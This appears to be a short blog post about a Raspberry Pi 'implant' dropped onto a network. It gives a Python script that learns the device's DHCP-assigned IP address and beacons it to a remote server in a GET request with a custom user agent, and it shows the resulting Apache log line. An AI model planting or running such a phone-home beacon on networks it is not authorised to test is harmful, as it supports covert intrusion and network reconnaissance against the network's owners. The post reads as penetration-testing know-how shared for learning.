I have a Raspberry Pi implant that I can drop on a network.  When connected, it will grab an address from DHCP but I won't know its address.  I could have it open up an SSH connection but I don't want a persistent outbound connection.  What I would like is for it to get its internal address, ping something, and relay its IP back to me.  Something as simple as a single GET request hitting the logs on a server from which I can parse it out.  

The supposed logical method is to use:  socket.gethostbyname(socket.gethostname())

The problem with that method in most modern nix installs is the response:  '127.0.0.1'

The reason for this response is due to what can be found in /etc/hosts.  We get around this issue by going a slightly different route:

#!/usr/bin/python
import socket
import requests
import os
headers = {'User-Agent': 'PhoneHome 1.0'}
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 0))
address = s.getsockname()[0]
host = "http://192.168.0.50/IP_Address=" + address
html = requests.get(host, headers=headers)

Basically, we open an outbound connection -- then we retrieve the IP address used for the outbound connection.  Just for the sake of learning, if you remove the [0], in addition to the IP, you'll also get the outbound port.  Or if you use [1] instead, of [0], you'll only get the port.  

There's probably a better way but I'm by no means a Python ninja, this is just a hack to get what I want.  When you parse /var/log/apache2/access.log, you should see an entry that matches our User Agent:  

192.168.0.50 - - [08/Oct/2018:05:51:48 -0700] "GET /IP_Address=192.168.0.50 HTTP/1.1" 404 618 "-" "PhoneHome 1.0"

Because I'm running this script on the box with the web server, you're seeing the IP address on both the left and in the middle of the line.  If this were actually planted, and accessing a remote server, the IP address on the left would be the external IP address.